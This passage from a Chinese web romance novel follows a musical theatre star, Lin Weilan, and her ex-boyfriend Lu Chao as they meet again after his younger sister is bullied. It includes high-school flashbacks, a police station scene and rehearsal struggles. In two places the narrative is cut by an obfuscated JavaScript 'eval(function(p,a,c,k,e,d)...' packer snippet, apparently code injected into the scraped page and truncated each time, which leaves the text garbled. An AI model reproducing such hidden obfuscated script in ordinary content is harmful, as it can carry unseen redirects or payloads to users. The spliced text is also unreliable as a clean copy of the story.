路曦,路潮的亲妹妹,过去常到流金大剧院看她的演出,和她关系很好。 后来她和路潮分手,路曦被她连坐,进了黑名单。 “微微姐,真的是你!”危急关头得救,路曦脑袋往后一仰,害怕得放声大哭。 * 开车带路曦去派出所报案的路上,林微澜时不时察觉到路曦瞟一眼自己,欲言又止。 她抿了抿唇,柔声问:“你有话想说?” 路曦难为情地缩了缩脖颈,扭捏道:“微微姐,可以用你的手机给我哥哥打个电话吗?” 人之常情,情理之中。 林微澜理解路曦的心情,将手机给了她。 不过她必须要提醒:“你到黑名单里拉你哥出来。但是应该打不通你哥哥的电话,我们分手后互相拉黑……” “哥哥——” 林微澜舒展的眉心蓦然一敛。 她似乎听到路曦在对着手机喊“哥哥”? 她的手机,打通了路潮的电话? 怎么可能? 路潮那么记仇,居然没有拉黑她的号码? 而且,瞬间就接通了。 7. 一颗露水 为什么路潮不拉黑她? 为什么路潮秒接她的电话? 等林微澜回神,路曦已经在电话里迅速地说清来龙去脉,将手机交还:“我用完了,谢谢你,微微姐。” 路曦的举止小心翼翼,她是林微澜与路潮分手的见证人,当时两个人闹成那样,她至今想想都后怕。 这份害怕,竟转变成了对林微澜的畏惧,叫她不敢和从前一样亲近林微澜。 “你哥哥怎么说?”林微澜示意路曦再抽张纸巾,把鼻涕眼泪擦一擦,“他能不能来?” “他说很快就到派出所。”路曦低下头,两根食指绞来绞去,“微微姐,你是不是很忙?” 弦外之音,即是林微澜如果不忙,最好能留下来陪陪她。 路家破产之前,路曦也是娇生惯养的小姐,她哪里想得到有一天会遭遇校园霸凌。 林微澜答应了她委婉的请求:“我陪你,直到你哥哥来。你别害怕。” “真的?”路曦不敢相信自己的耳朵。 当然是真的,林微澜“嗯”了一声。 * 高中三年,除了假期,林微澜都住在一中附近的绿源学府,赵元修亲自照顾她。 她姥姥退休前是大学老师,高瞻远瞩,早早在一中旁边买下了一套学区房,后来女儿和孙女读书,都派上过用场。 绿源学府距一中只有一条街,步行五分钟就能看见学校大门,林微澜上下学都步行,很少叫赵元修接送。 自从和路潮在美术教室闹得不欢而散,两个人好几天没有交流,她倒是无所谓,路潮又不是什么重要的人。 直到一个星期后的晚上,林微澜下了晚自习,背着书包从路潮跟前轻盈走过,对他视若无睹。 路潮斜倚着校门口的香樟树,仪态懒散,他家的司机堵在路上了,一时半会来不了。 见林微澜跟没看见自己这个大活人似的,他忍不住脱口而出: “你也没人接啊?” 不带称呼,换作别人,很难知道他在和谁说话。 然而林微澜明白。 “我不用别人接。”林微澜并不驻足,只管走自己的。 “为什么?你家住得很近?走路回家多累啊。”左等右等等不到人,路潮干脆不等了,三两步追上林微澜,与她并肩同行,“坐我家的车呗。” 林微澜懒得理会他,只想着尽快脱身:“住我姥姥从前的房子,在绿源学府。” 路潮知道绿源学府在哪:“哦,的确不远——林微澜,你这几天都不和我说话。” 他都快憋死了。 “我为什么要和你说话?”林微澜觉得莫名其妙,他也没有主动来找她啊,“我们很熟?” “不熟就慢慢了解啊。我得罪过你,不是都道歉了?”路潮追上林微澜轻轻松松,“我不轻易和别人交朋友的。” 难不成成为路潮的朋友,是一种特殊的优待?林微澜嗤之以鼻,甚至有些想笑:“你到底想干什么?你真的很烦。” 她说得太直白,路潮活到十六七岁,讨厌他的人有很多,当面说出来的却很少。 以往知道别人厌恶自己,他都很不屑,今天却不同,望着林微澜不悦的神色,他忽然觉得心口被刺了一下,隐隐作痛。 他的面庞盛住了皎洁月色,白皙如雪,还泛着一层薄粉色:“林微澜,我就是想问你个事儿。” 正是放学的时间,身边来来往往都是学生,路潮不方便直说。 他固执跟着林微澜走了四五分钟,眼看绿源学府的大门近在咫尺,不问不行,路潮顾不上那么多,冷不丁地叽里咕噜了一句话。 林微澜:“?” 她没听清。 路潮眼神飘忽,双手仿佛焊死了,僵硬地插在口袋里:“我、我就是想问问……你有没有男朋友。” 林微澜往月华照耀的地方轻挪一步,以看清路潮的面色。 耳根红红的,薄唇紧闭。 这是害羞的反应,影视剧表现人情绪的惯用手段。 路潮这种人,也会害羞。 路潮这种人,为什么害羞? 林微澜不是蠢货。 她明澈的眼睛眯起来,像在打量一头猎物,往前上了半步:“你谈过女朋友吗?” “没有啊……”距离忽然拉近,路潮整个人都绷紧了,她用的哪款洗发水啊,发丝间萦绕着一缕清香…… 林微澜的唇角好似笼着朦胧夜色,叫人看不清楚,还以为她似笑非笑: “我没有男朋友,而且毕业前不打算谈恋爱。可是你又不了解我,谁知道是不是一时兴起。” 路潮瞠目,她问得太直接太突然了,他还没想好怎么说呢……真是的,他以为还要再迂回一会儿,他以为自己一定自信又帅气。 哎呀,他自己的脸皮有多烫,他已经真切地感受到了! 林微澜太耿直了,太不给他留面子了! 可是她的声音真好听,像凛冬时节的山泉,清清凌凌。 路潮为林微澜绷紧了身体的每一寸,双手将校服裤子揉得皱巴巴的:“你质疑我三分钟热度啊?行啊,我证明给你看,你说得不对,你是错的。” 林微澜嗤笑一声,兀自刷了门禁卡,走进绿源学府大门。 “喂!”路潮没跟她一起进门,“林微澜,你什么意思啊?” 林微澜头也不回,却在半空中扬了扬手:“明天早上见。” 第二天起,路家的司机不再把路潮送到校门口了,而是送到绿源学府,也不再去校门口等人,而是改为到绿源学府等。 好几个月的时间,两人都一起上下学,林微澜在前面走,路潮替他拎书包,跟在后头。 慢慢的,林微澜的脚步不再那么快。 慢慢的,林微澜会在放学离开教室前隔着座位看路潮一眼,示意他自己要走了。 有次晚上放学,路潮被物理老师叫走,安排他参加上央市的物理竞赛,林微澜没有等他,独自离开学校。 很不巧,走出校门没几步路,几个男生就跟了上来,其中有一个是班里的严哲。 严哲向其他人介绍林微澜:“这就是林微澜,漂亮吧?她学习可好了,这次月考全市第一。” 另几个人都笑嘻嘻的,其中一个戴眼镜的男生问:“你就是林倩的女儿啊?你们长得好像,你妈妈的戏我看过好几部。” 林微澜漠然替妈妈道了声“谢谢”。 眼镜男耸肩:“严哲,你同学冷冰冰的,没意思。” 严哲:“大明星的女儿也爱耍大牌嘛。林微澜,你妈妈会唱歌跳舞还会演戏,你会不会啊?给我们表演一个再走呗。” 正是放学时间,人行道上都是一中的学生,他们听到“林倩”“大明星”之类的字眼,不免投来疑惑的视线。 林微澜只想做音乐剧舞台上的焦点,不想做八卦中心,她更意识到了严哲一行人的不怀好意。 行人来来往往,前面不远就有值日的老师,她不信严哲一行人能做什么,但是,这并不意味着她不能做什么。 林微澜扫视几人一眼,用所有人都听得到的声音,极为字正腔圆地说出一个字来:“滚。” “不识好歹,你知不知道我是谁?”眼镜男顿时气急败坏,梗着脖子就要来扯林微澜的手臂。 林微澜眼疾手快,匆匆往一侧躲,却不想她的手臂还是被人握住了,力气颇重。 她心头一紧,急着抽手,这时,耳侧却有熟悉的声音响起: “你们在聊什么?聊得挺凶啊。” 是路潮。 林微澜错愕一望,是路潮温热的掌心握住她手臂,将她往他身后带。 “欺负同学,这不合适吧?”路潮将林微澜和一伙人隔开,上到他们跟前去,“是不是脑子出问题了,还是家里没人教?” 再往前一百多米,有一中老师的值日点,林微澜觉得可以先请值日老师过来,她正要向路潮提议,为首的小混混已猛然一拳砸过来。 然后路潮的鼻梁就断了。 再然后,严哲一行人中好几个人的鼻梁,都断了。 * 派出所大厅的灯光亮得刺眼,所有情况都交代给警察了,只等路曦家属过来。 林微澜背靠冰凉的金属椅子,昏昏欲睡。 没过多久,大厅外终于有脚步声,是林微澜熟悉的轻重和频率,她没有动,任由路曦哭着冲出去。 “挨打没有?” “没有挨打!他们只管我要钱,没有打我,我没给他们钱。” 路家兄妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?”路曦大声叫嚷着,是要故意说给别人听,“和男朋友约会?哦——” 台阶上,路潮的指尖掐进肉中。 “微微姐,”刚才是替哥哥问的,现在,路曦要为自己问了,她有点害羞,“你能不能、能不能把我从黑名单放出来……你知道的,我是你的粉丝……” 林微澜叹气,路曦被拉黑的确是受了连坐的罪,谁叫她和路潮是兄妹呢。 “好了,放出来了。你重新加我好友吧。”林微澜因路曦的泪痕心软,想着放她出黑名单也不会怎么样,就依从了她的心愿。 路曦破涕为笑:“我在网上看到了,你在筹备新剧是吗?我一定会买票去现场看的。” “不许去!” 路潮竟然悄无声息地走下了台阶,往这边靠近了好几步:“有什么好看的,你不想着学习,搞那些乱七八糟的东西有意思吗?” 心尖迸裂出火星,不同意学业繁忙的妹妹到现场看音乐剧很好理解,如果路潮仅用这个做理由,林微澜一句话都不会多说。 可是路潮称她最热爱的事业,为“乱七八糟的东西”。 眼前似乎升腾起一团雾,遮住路潮的五官面目。 林微澜看不清他,不知他是真的变了,还是在发脾气、说气话。以前,路潮分明很支持她的事业。 她无法忍受自己的事业被贬低,尤其是被前男友贬低: “路潮,我们分开这么久,你一点没变,还是那么幼稚和自以为是。” 路潮肺腑间一阵疼痛,他沉着脸嘲讽:“当年都是我的错?也是,你是林微澜,你怎么会有错。” “你知道错处在你就好。你做那件事的时候,就应当预料到结果。” 没必要和不值得的人争辩太久,林微澜索性顺着他扔下最后一句话,随后毅然转身。 “……是你甩了我!” 路潮冲她的背影大喊,尾音颤巍巍的。 “林微澜,是你提分手的!是你不要我们的感情了!” 8. 一颗露水 “……是你甩了我!是你提分手的!是你不要我们的感情了!” 派出所前院的灯光不太明亮,但路潮控诉的每一字,都被林微澜清晰地听到。 她为路潮的话凝滞了一瞬的脚步。 但也仅此而已了。 尽管提分手的人是她,做错事的人却是路潮,路潮居然好意思把责任分给她。 她的背影很快消失在夜色里,没留下任何话,连头都不回。 一旁的路曦目瞪口呆,弄不懂事态的发展。 两分钟前,他哥还红着脸,要她追问林微澜怎么回家,她说微微姐开了车,他哥就要她再问还去不去别的地方,唯恐林微澜的人身安全出问题。 “路潮你有病啊!”路曦急得跳脚,拿自己的书包带子抽哥哥胳膊,“有话不会好好说,和她吵什么!?” 路潮恍若没听见妹妹的话,他盯着林微澜背影消失的地方,仿佛她还能再回头,哪怕是折返回来扇他两巴掌,他也认了。 都是他的错? ……怎么会都是他的错? 七年的感情,是林微澜说不要就不要了,被抛弃的人是他,为什么错误全是他的? “……哥?哥!” “嗯——” 路潮循声音的方向朝左后方一望,没见着路曦,才注意到其实路曦是站在了自己的右侧。 “你不要管,都过去了。”他闷闷的呢喃了一声。 路曦却梗起脖子:“没过去,没过去!如果真的过去了,你不会让我问她那几个问题!” “小曦!”路潮厉声制止她往下说,他旋即意识到自己的失态,垂眸又说,“真的都过去了。” 都过去了,他配不上了。 他今后只能以一个陌生作曲人的身份,活在林微澜的好友列表里,他甚至不知道林微澜给他取了什么备注,对他的隐秘身份是什么印象。 她听到他给《天堂鸟》写的那些歌,会不会觉得似曾相识?因为曲调完全是他曾经最常谱写的、她最喜欢的风格。 路曦陷入沉默,看来今晚不会有转折了。 她哥最倔。 上央市近年严抓扫黑除恶,派出所很重视今晚的事。警察承诺,会结合林微澜提供的手机录像,尽快通过监控查出所有霸凌者,明天还会到一中思想教育路曦认识的那几个学生。 事情告一段落,路潮骑摩托车载妹妹回家。 “哥,你算下班了吗?回不回餐厅?”路曦的声音闷在头盔里,有几分失真,“请我喝奶茶、吃辣条,谁叫你凶我。” 路潮每个字都像强行挤出来的,说得很艰难:“这个点,餐厅都快打烊了,我不回去。我们去医院看看妈。明天再请你喝奶茶,今天太晚了。” 路曦的脾气来得快,去得也快,已经不计较路潮发神经病的事:“不回不怕扣钱?你们经理脑子有病似的,一天到晚老针对你干嘛?哥,你要不换个工作。” “你以为合适的工作那么好找?以后别学你哥,选个好就业、有前途的专业。”新工作不是那么好换的,薪资要养得活一家人,还要保证每天都有空闲,以照顾妈妈和妹妹。 路曦惆怅起来,她小时候绝对想不到,自己长大了会为前程发愁。 她愁眉苦脸地绞了会儿手指,突然奇思妙想:“哥,你要不当个明星模特什么的,可赚钱了!” “……你电视剧看多了?” “要不你就参加选秀,我拉我同学买酸奶送你出道。” 路潮啧了声:“二十六岁老年爱豆又唱又跳?” 路曦想挠挠脑袋,但只挠到硬邦邦的头盔:“二十六岁,对爱豆来说是老了点儿……你还是当影视明星吧,也不需要演技多好。崔世青才出道那几年演技就很烂,因为长得帅才红的,你长得不比他差。” 听到那个最厌恶的名字,路潮陡然失去了和妹妹聊天的欲望:“你哥踏踏实实赚钱有什么不好?崔世青?他最多再红个两三年就糊了。” “啧,怎么可能?哥,崔世青比你小五岁,今年才二十一,青春又貌美!我给你讲,男人一旦过了二十五,就……” 摩托车稍稍向□□斜,穿过十字路口。 路潮的耳道里嗡嗡作响,原来崔世青那么年轻……男人一旦过了二十五,就…… 看吧,他就知道,自己除了占个初恋的名头,什么都比不上崔世青的。 他没心思听妹妹的话了,把摩托车油门拧得更重,车身匆匆掠过上央市的夜。 放任路曦自顾自地说了好一会儿话,待她说完了,路潮的神也收回来了:“下学期给你办住宿,你每天能节省时间多睡一会儿,还安全。” 这不是路潮心血来潮提起的,自路曦升上高二以来,他提过好几次了,路曦总是不肯。 一中校舍是六人寝,上下床,环境非常普通,路曦怕适应不了,而且也舍不得亲人:“我不同意,你别想了。” 路潮:“只住高三一年,熬一熬就过去了。” 路曦撇嘴,用路潮最在意的事来堵嘴:“嗯嗯嗯,谁都和你一样,就喜欢熬,微微姐走到眼前了还熬。” “你——”路潮气不打一处来,他从来都吵不过路曦,索性任发动机的噪音掩去一切。 * 兄妹俩商量过,不把路曦今天的经历告知路卓君了,癌症病人需要保持心情愉悦。 不过,路潮依然向母亲提起给妹妹办寄宿的想法。他极力阐述了住校的好处,安全、节省时间,他也能把每天照顾妹妹的精力挪到其他事情上。 路卓君略作沉思,认为儿子的提议很有道理:“高三学习最紧张,确实可以给小曦办寄宿。” “我不办,妈。”路曦不同意,“我坐公交上下学挺好,那点时间根本不算什么。” “胡闹。高三了,争分夺秒。”以往提起住宿,女儿不情愿,路卓君还能纵容几分,可是下个学期路曦就升高三,需要一个更能好好学习的环境。 路曦:“住宿费又是一笔钱,我哥得端多少盘子才能赚到一年的住宿费?” 路潮哭笑不得,往妹妹后脑勺弹了一下:“钱的事不用你管,一中每学期的住宿费才一千八,你哥还出不起?” 路曦急了眼:“一千八也是钱!反正我就是不同意,你们非让我住校,我就不去学校了,我逃学。” “你敢!”路潮又往她后脑勺弹了一下,力道更重,“不由你做主,明天我就和你班主任说。” 路曦愣了一瞬,眼泪居然就顺着她脸颊滴下,哭声呜呜咽咽地泄出她喉咙。 病房里的人都望过来。 “小曦?”路卓君不懂女儿怎么就哭了,疑惑又心疼,“哭什么?我们家一下雨就漏水,潮湿得衣服都干不了,给你换个更好的学习环境,不好吗?” 路曦摇了摇头,不肯说。 “没事的妈,我带她出去说,你别下床。”路潮把妹妹带到病房外的楼梯间,低头询问,“哭什么?怕花家里的钱?” 路曦先是点头,继而又摇头。 “住宿费没多贵,你能考上好大学,这钱花得就值。”路潮又问,“还有别的原因?” 路曦抽抽搭搭了好一会儿,说得含糊不清:“我不想一周只回一次家。我想每天都看到你们,我不喜欢呆在学校。” 经历过今晚的事,路潮敏锐察觉到妹妹话中可能还有别的含义,他警惕起来:“你说实话,学校里是不是还有人欺负你?” 路曦不出声,也不点头或是摇头。 这就算默认了。 路潮怒意上涌,又不好在医院楼梯间里发作。 他艰难地忍住脾气,叫路曦把眼泪擦干净:“明天我就联系你班主任,下周一我们把这件事解决了。你不想住校我们就不住,以后晚上放学我接你。” 路曦心里更不是滋味,她也有话要和哥哥说:“我一个人坐公交能行。” “能行什么能行?”路潮愤愤睨她,“你别管了,把书读好。自己缓一会儿就回病房,否则妈该问了。” 路潮把冷静的空间留给路曦,先行出了楼梯间。 这种事,自然还是瞒着路卓君,兄妹俩在医院又留了半个多小时,才回家。 冷水澡并不能冲洗去一天的疲累,何况路潮心事重重,可以说身心俱疲。 路曦的问题肯定要解决,不仅是住宿和上下学路上的安全与时间耗费点,还有学校里的不良风气,急需和她的班主任沟通。 还有…… 又在下雨了,上央市的湿热逼得他胸口发闷。 路潮打开微信小号,目光落在他唯一的置顶联系人上。 他翻了个身,突然打了自己一巴掌。 清脆又响亮。 今晚他不该那样说。 她的理想抱负,路潮曾深刻体会,她为之做出的努力,路潮曾亲自见证,他怎么能说她最热爱的,是“乱七八糟的东西”? 说出口的话、做出来的事,统统无法收回,伤害已经造成了,再卓越的缝合技术,也不能保证完全不留疤痕。 路潮又打了自己一巴掌,朝着嘴,力气颇重。 ——林微澜还生着气吗? 路潮点进她的朋友圈,少数几条全是音乐剧相关 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别墅第四层全部打通,大部分空间用于收纳摆放林微澜心爱的物件,奖杯、证书,毛绒娃娃、珠宝首饰,空掉的香薰瓶子,CD、录像带,全都罗列高透的玻璃柜里,整整齐齐,叫人惊叹。 饶是这么一个精致又井然有序的空间,也会有一小块空置的地方,林微澜就在这里制作花墙。 其实以前这里不是空置的。 以前,这里的墙面挂着路潮用得最顺手的吉他,墙角放着他的画架。 旁边的小沙发还留着,没有丢,这是林微澜专属的位置,过去她会卧在沙发里,听路潮悠哉悠哉地弹吉他。 林微澜放下了胶枪,没有再拿起来。 因为她在想一个人。 那个陪她建造了这个世界、创造了许多回忆的人,从人人羡慕的云端,跌到人生谷底的人。 回国后,林微澜和路潮一共见过三次,每一次,他脸上都呈现出不同的情绪。 窘迫、慌乱,安然、挑衅,感激、痛苦。 这些情绪里,有那么几样,从不会出现在她所了解的那个路潮身上。 路潮变了,却也没变。 好有意思。 音乐剧演员真正想表演出来的情绪,观众很难百分之百地理解、接受。 舞台到观众席有距离,所以看不清表情;理解词曲、歌词有门槛,所以难身临其境;另外,演员和创作者的能力,也会影响他们的表达。 林微澜在想,有朝一日,她接到一个与路潮的经历有异曲同工之妙的角色,她应当怎么演? 她手头当然没有这样的剧本,但不妨碍她把路潮的变化拿出来揣摩。 角色需要通过剧情来体现,她相信人不仅会因为大事改变,丧父、破产、亲人患癌,的确足以改变一个人的性格,但是仅此而已吗? 有哪些“剧情”,是她不知道的? 滴滴—— 手机响了一声。 水浪:【晚安。】 系统提示:【对方撤回了一条消息。】 深更半夜,水浪莫名发来问候,又很快撤回,弄得林微澜一头雾水。 水浪又发了新消息来:【刚才发错了,晚安是发给别人的。】 “晚安”是多么亲密的话,也能发错?林微澜信以为真:【没关系。刚好你发消息过来,我有件事告诉你,星影传媒快成立音乐剧事业部了,你的能力很优秀,有没有兴趣加入我们?】 水浪:【不感兴趣。】 【那就算了。】林微澜熄灭手机屏,她说的都是真心话,她一见钟情的曲子太少了,大部分都要多听几遍才知其中韵味。 可是水浪写的歌不同,她只听第一遍就有共鸣。 才华横溢的作曲家不胜枚举,他们不需要得到林微澜的认可来证明自己,大众审美会为他们的作品做评。 在意林微澜评价的作曲家,从来只有一个人。 耳机里正播放着一段音频文件。 文件的创建日期是半年前,因为半年前她换了新手机。 实际上,这份音频创作于七年前。 七年前,她和路潮高中才毕业,路潮给她写了一首很不成熟的歌,技巧青涩,感情却诚挚得让她做了多个备份。 缓缓流淌的曲调蓦然酸涩起来,林微澜调低了声音,敏锐地察觉这份酸涩并非来自耳道。 ——而是来自她的胸腔。 好奇怪,为什么心里发酸? 9. 一缕细雾 星期一,从一中回来,路潮依然心有顾虑。 他和路曦的班主任以及同学家长沟通过了,尽管那几个坏学生再三保证不会再欺负路曦,他仍不放心。 有的话嘴上说说还行,付诸行动就不一定了。 今天路潮休息,不用上班,他有了时间到医院陪路卓君:“小曦不愿意住校,要不……我们退掉现在住的房子,租套离一中近的?” 学区房的租金比一般的房子租金贵,路潮问得并不轻松。 路卓君去年做过肝切除手术,今年癌症复发后,她听从医生的建议做了介入治疗,许许多多的花费加起来,再扣除掉医保报销的那部分,一共要两三万块钱。 两三万块,从前只不过是路卓君一双鞋的价钱,眼睛一睁一闭就赚到手,现在却要她的儿子辛辛苦苦几个月来赚,何况出院后还要持续服药,又是一笔开销。 身为母亲,路卓君心中酸涩不已,女儿的学业和儿子的汗水,以及自己未知的寿命,都是扎在她心口的刀。 她沉默了一会儿,颤声说:“一中离你上班的地方不近。我们租了学区房,你休息的时间会更少。” 路潮笑了:“骑摩托车,很快的。” 路卓君又缄默许久,她查看了医院账户的预存金额,反复盯着手机银行上的数字瞧:“我给你转些钱,你租一套安保措施过得去的。有时候小曦一个人在家,让人操心。” “你账户上的钱别动,我还有钱,之前写歌赚的。”路潮拦住母亲,“我了解完一中旁边的租房情况再说。” 他用了三天时间,把租房app翻了个遍,还到房中介和各个小区里询问过。 要么租金昂贵,要么环境太差、安保不到位,不适合路卓君出院后养病,路曦独自在家过夜也不安全。 他拽了拽头盔系带,恨不得将头上沉重的东西砸到大马路中间。 摩托车发动机突突突地响动,遮掩住路潮愤愤不平的心跳。 归根结底,还是钱的问题。 热风扑到面庞上,他又一次经过绿源学府。 绿源学府,林微澜高中时期在此长住,她姥姥在小区里买过一套房子,后来过户到了她名下。 路潮很熟悉这地方的大门,高中读了三年,他在绿源学府门口等了林微澜三年,也送她回家送了三年。 他手机里还留存着几天前那个晚上的通话记录。 那天晚上,一认出是林微澜的号码,路潮就果断地按下了接通键。 林微澜肯定不会无缘无故给他打电话,既然打了,一定是遇见了难事,他害怕自己的迟疑会让她陷入困境。 结果打电话来的人是路曦。 盯着通话记录,路潮的掌心慢慢渗出了汗珠,只要厚脸皮地拨过去,希望就能多一分。 * 能参加二轮面试的演员已经通知完了,定下最终人选后,就要展开排练。 林微澜对自己要求严格,已经在练习她的part了。 具体怎么唱,还需要和导演沟通,郑东晴把握住了到偶像家做客的机会,此时此刻,她就坐在嘉珑花园,林微澜家里。 林微澜音色温柔,带着独属于她的一点清冷,很有辨识度。 唱完一段词,明明在技巧上没有瑕疵,她却轻轻蹙起了眉,陷入沉思。 她唱得有问题。 抬眸,林微澜无意间与郑东晴对上视线,且在对方眼中读到了困惑。 与郑东晴交流相处了一段时间,她察觉到对方是个开朗外向的年轻人,性格很适合做导演。 林微澜思忖一瞬,忽而缓和了神色:“你好像有话要说?别有顾虑,你直接告诉我就好。” 郑东晴缺乏经验和阅历,所以是有些敬畏林微澜的。 不过她们已经合作修完了《天堂鸟》的剧本,她也明白林微澜是个很好的倾听者,因此她直言不讳:“林老师,您刚才那段唱得好像有点不对?” 确实不对,林微澜微笑着望郑东晴:“嗯?” 郑东晴:“蝶是黑化的反派,她和您饰演的青绿过去非常要好。您和蝶的对唱,情绪是不是太单一了呢?” 问题就出在这里,林微澜深以为然。 音乐剧表演里的情绪太重要,演员几乎不可能欢天喜地地唱哀乐:“你继续说。” 郑东晴又说:“青绿曾经和蝶是莫逆之交,愿意为彼此付出一切,咱们剧本里写了,您的人物小传里也提到过这一点,您对角色的理解肯定没问题,可是……” “可是我唱不出来。” 林微澜斩钉截铁,没有犹疑地说出了问题所在。 她只唱出了青绿对蝶的恨。 这种简单的失误不该出现在她身上,她塑造过许多经典角色,既然能成为经典,就不会是扁平单一的存在,她们的情绪是复杂的、起伏的。 林微澜默了默:“你有什么看法或建议?” “林老师您除了这一点儿,其他的地方都好完美。我是这么想的——” 郑东晴手舞足蹈地比划:“青绿对蝶的爱恨交融在一起,不可能完全舍弃其中的一个情绪。林老师,您和人绝交过吗?吵过架也行。你想一想你们吵完架后,那种既想和好,又恨不得永远不理对方了的复杂心情。” 忽有一只无形的手探来,将林微澜恬静的神情搅碎。 爱和恨,要交织在一起才唱得到位。 林微澜天赋卓越,从小就能有模有样地模仿着林倩演戏,入行后凭借天赋和努力,演什么像什么,很少为演唱不到位苦恼过。 今天她遇到难题了。 “这一段先搁置吧,我再琢磨琢磨。”林微澜需要些时间好好揣摩,“对了,你有没有兴趣和我们工作室签约?” “啊?”郑东晴全然惊住了。 “星影传媒计划成立戏剧工作室,不出意外的话,我是负责人。”林微澜温声细语地解释,“我们计划每年产出2到3部戏,等工作室发展起来,再增多年产出剧目。” 郑东晴简直受宠若惊,她的人生首作都还没搬上舞台,星影传媒的千金、音乐剧行业的明珠就打算和她签约了? 这时,有人敲响练功房的门,是照顾了林微澜快二十年,连出国都要带在身边的家政贾阿姨: “微微,午饭给你们做好喽,我还有事,回去了。” “好,阿姨路上慢点。”林微澜隔着门与贾阿姨告别,又向郑东晴说,“我家的阿姨做饭很好吃,你先下楼尝尝?我再想想怎么唱。我给你说的事,你也好好想想,晚点我把计划书给你看看。” 郑东晴惊讶地眨眨眼:“啊?我一个人先吃?” 林微澜:“去吧,不用等我,刚才听见你肚子叫了。” 郑东晴确实早就饥肠辘辘,忍着不敢说而已,她又推脱了几次,终是先下了楼。 练功房只剩林微澜了。 她把《天堂鸟》剧本反复翻阅过多次,揣摩人物、设计细节,所体会出的每一点,都用不同颜色的笔做了标注,平时遇到难题也会和林倩、崔世青交流。 她自以为对角色的把握没有问题了,然而郑东晴和她的本能直觉都告诉她——不,你的理解有问题。 你的爱和恨没有融合在一起。 你的爱,去哪里了? 如果体会不了人物的感情,可以用精湛的演技来弥补,林微澜的第一部作品《病》,她饰演一位痛苦的人格分裂症患者,就是用演技补全了阅历的不足。 可是她知道今天的问题有多难解决。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纸质剧本的一角翻起了卷边,林微澜忍不住手,总想用力抓着点东西。 睫羽投射下一片薄薄阴影,与她深邃的眼眸融成一汪冰冷又翻滚着的泉水,笑问:“请我,还是求我?” 究竟为什么事才找她,根本不重要,林微澜只要他把那个字再说一次。 “林微澜……一定要这样?”路潮低低地问了声。 她万分笃定,不管路潮为何打这通电话,只有她能帮上他的忙,否则路潮不会抛下尊严,找到她这个前女友。 因为路潮恨她。 恨她提出分手,恨她在众目睽睽下扔掉他的玫瑰花,在他脸颊留下狠狠的一巴掌。 林微澜垂眸翻了翻剧本,慢慢说道:“你要是不肯说,就算了,再见。” “别挂电话!” 路潮心急如焚地喊了一声,他应当处在街头,电话那头还有汽车飞驰而过的呼啸声,呼呼,嗡嗡,好动听。 要是能再看到路潮的表情,那么就不只是动听,还会非常动人。 她想见到他,想品味他的表情有多么美丽。 林微澜的鼻音轻轻的:“嗯?” “……拜托你,林微澜,帮我一次。我求你的,行吗?” 我求你的。 我求你。 气血涌上林微澜的大脑,她心满意足了。 林微澜喝下一小口柠檬水,却蹙了蹙眉。 水里明明放了冰糖的,为什么不甜? 只有酸苦的滋味,缓缓蔓延。 林微澜狐疑了几秒钟,最终平静如初:“晚上八点钟,你来嘉珑花园,还记得是哪一栋吗?” “记得。”路潮说。 挂断了电话,林微澜弹着钢琴将那段词唱起,她本能地用了一种不恰当的情绪来唱,快乐、惬意,又疯癫。 10. 一缕细雾(二更) 落日熔金,从楼顶垂坠的三角梅花瀑泛着金光,一直流淌到栽满绣球花的花圃中。 林微澜出国这三年,嘉珑花园的一草一木都有人打理,不用她操心。 郑东晴半个小时前就走了,她所提出的林微澜在表演上的问题,被搁置了一下午,全然没有进展。 把“爱”“恨”单独拎出来看,都是非常纯粹的感情,可是把它们融合在一起,林微澜就想不通了。 “微微,晚饭好了。我做了五香小龙虾。”贾阿姨随林微澜在国外留了两年,林微澜和崔世青启程环球旅行后她才回国,她最清楚雇主的口味。 “知道了,”林微澜放下剧本,“阿姨,你装点儿小龙虾回家自己吃。” “好哟,我装几只回去。”贾阿姨和林微澜很熟络,从来不假客气。她在林家做了二十几年工,林家把她女儿的学业、工作都包了,只为叫她安安心心地照顾林微澜。 贾阿姨一走,空荡荡的别墅又只剩林微澜一个人了。 再空荡安静的地方,林微澜也能习惯,她不慌不忙洗了个澡,换上吊带睡衣。 柠檬水,电脑,纸质剧本……这些东西,都摆在了客厅的茶几上。 林微澜记得,林倩早年有一部爱情电影,主角间的感情常被观众矛盾地评价为“他们也太爱了”“他们也太恨了”。 她看过林倩所有的影像资料和文字记录,第一部电影、第一支广告、第一次新闻采访……她有时候都觉得,自己才是林倩最大的那个粉头。 那是她妈妈呀,星光四射,是许多人的偶像,也是她的偶像。 没费多少功夫,林微澜轻易找到那部电影,点击播放。 电影类型比较狗血,两位主演拍完后几乎不再来往,和剧里的情节微妙相似。男主演至今都活跃在影视圈,赵元修非常讨厌他,一在电视上看见他的脸就要换台;女主演就不必多说,林倩,影坛传奇。 随着情节推进,林微澜愈发地迷惑。 主角间的又爱又恨表现在哪儿?为什么人会产生“爱恨交织”这种情感? 爱就是爱,恨就是恨,她前一天还在吻路潮的脸,第二天就赏了路潮两巴掌并且分手,爱和恨的界限相当分明。 她看得很慢,把角色的感情变化节点都记录在文档里,时不时往回拉进度条,只为品味演员对细节的处理。 不知不觉,已经八点钟了,她还沉浸在电影里,贾阿姨做好的晚饭都一口没动。 直到门铃的响声唤醒她,她才想起今晚还有客人。 林微澜不疾不徐地起身。 可视门铃的屏幕里,路潮显然细心挑过衣裳了,衬衫西裤,很合他的身材,也合林微澜的眼缘。 但她今晚或许会欣赏到更绝妙的东西。 门敞开的刹那,林微澜容色不变,纯净明澈的眸宛如一泓春水,唯有路潮脸上掠过一缕错愕。 “你好。”林微澜很客气。 路潮耳根滚烫,匆匆挪开视线。 不管多少次望向林微澜,路潮都会有一个不变的想法——她真好看,哪里都好看,她就没有不好看的地方。 他不能妄动、却按捺不住的春心,和混沌之中保持着三分清醒的头脑,叫他比林微澜更客气:“你好。我买了些你爱吃的水果,苹果、猕猴桃。” 